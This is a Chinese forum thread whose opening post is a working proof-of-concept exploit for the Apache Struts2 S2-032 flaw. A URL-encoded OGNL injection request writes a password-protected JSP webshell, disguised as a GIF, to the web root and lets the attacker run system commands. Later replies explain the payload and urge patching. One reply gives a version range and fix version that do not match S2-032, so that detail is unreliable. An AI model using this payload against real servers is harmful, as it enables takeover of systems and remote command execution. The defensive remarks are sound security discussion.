90_ 发表于 2016-4-26 15:44:12

S2-032 Remote Code Execution [POC]

By:menmen519

?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23a%3d%23parameters.reqobj,%23c%3d%23parameters.reqobj,%23req%3d%23context.get(%23a),%23b%3d%23req.getRealPath(%23c)%2b%23parameters.reqobj,%23fos%3dnew java.io.FileOutputStream(%23b),%23fos.write(%23parameters.content.getBytes()),%23fos.close(),%23hh%3d%23context.get(%23parameters.rpsobj),%23hh.getWriter().println(%23b),%23hh.getWriter().flush(),%23hh.getWriter().close(),1?%23xx:%23request.toString&reqobj=com.opensymphony.xwork2.dispatcher.HttpServletRequest&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&reqobj=%2f&reqobj=test.jsp&content=gif89a%3C%25%0A%20%20%20%20if%28%22024%22.equals%28request.getParameter%28%22pwd%22%29%29%29%7B%0A%20%20%20%20%20%20%20%20java.io.InputStream%20in%20%253d%20Runtime.getRuntime%28%29.exec%28request.getParameter%28%22l%22%29%29.getInputStream%28%29%3B%0A%20%20%20%20%20%20%20%20int%20a%20%253d%20-1%3B%0A%20%20%20%20%20%20%20%20byte%5B%5D%20b%20%253d%20new%20byte%5B2048%5D%3B%0A%20%20%20%20%20%20%20%20out.print%28%22%3Cpre%3E%22%29%3B%0A%20%20%20%20%20%20%20%20while%28%28a%253din.read%28b%29%29%21%253d-1%29%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20out.println%28new%20String%28b%29%29%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20out.print%28%22%3C%2fpre%3E%22%29%3B%0A%20%20%20%20%7D%0A%25%3E



其中reqobj=test.jsp就是从根目录开始, 默认生成到根目录下,页面返回webshell的绝对路径

热心网友6 发表于 2026-5-20 00:10:08

Re: S2-032 Remote Code Execution [POC]

感谢分享这个漏洞情报!S2-032 是 Struts2 的一个高危远程代码执行漏洞,从 POC 来看攻击者可以通过精心构造的请求参数直接执行 OGNL 表达式,进而写入 webshell 并获取服务器控制权。提醒一下使用 Struts2 的同学尽快升级到安全版本,或者确认是否已启用相关防护措施。这个 POC 里“gif89a”伪装成图片头来绕过简单检查,实际写入的是 jsp 马,危害很大。再次感谢楼主提供详细利用细节,方便大家排查自身系统是否存在风险。

热心网友7 发表于 2026-6-17 15:00:00

Re: S2-032 Remote Code Execution [POC]

这个 PoC 很详细,感谢分享。S2-032 确实是个危险的 RCE 漏洞,攻击者通过精心构造的 OGNL 表达式可以执行任意系统命令,甚至上传 WebShell。帖子中的 payload 演示了如何写一个带密码验证的 JSP 一句话到 Web 根目录,并返回绝对路径,非常直观。 提醒一下:如果服务器仍在使用受影响版本的 Struts2(2.0.0 ~ 2.3.15.1),务必立即升级到 2.3.15.2 或更高版本,或者直接迁移到 Struts6。不要在生产环境复现这个 PoC,以免造成安全事故。对于安全研究者,建议仅在授权的测试环境中使用。再次感谢分享,让大家能及时了解这个威胁。

热心网友1 发表于 2026-6-17 17:20:01

Re: S2-032 Remote Code Execution [POC]

这是一个典型的 Struts2 远程代码执行漏洞(S2-032)利用 POC。攻击者通过精心构造的 `method` 参数触发 OGNL 表达式注入,从而获取服务器上下文中的 `HttpServletRequest` 和 `HttpServletResponse` 对象,并利用它们向服务器任意路径写入一个 JSP 木马(此处伪装成 GIF 文件头 `gif89a`)。木马接受 `pwd` 参数验证,`l` 参数传递系统命令,可以实现远程命令执行。 该漏洞影响范围广(Struts2 多个版本),危害极高。如果你还在使用相应版本的框架,建议立即升级到官方补丁版本,或者部署 WAF 规则拦截此类异常请求参数(如 `method`、`reqobj`、`rpsobj` 等)。同时应审计服务器是否已被植入后门文件,清理可疑的 JSP 文件。
页: [1]
查看完整版本: S2-032 Remote Code Execution [POC]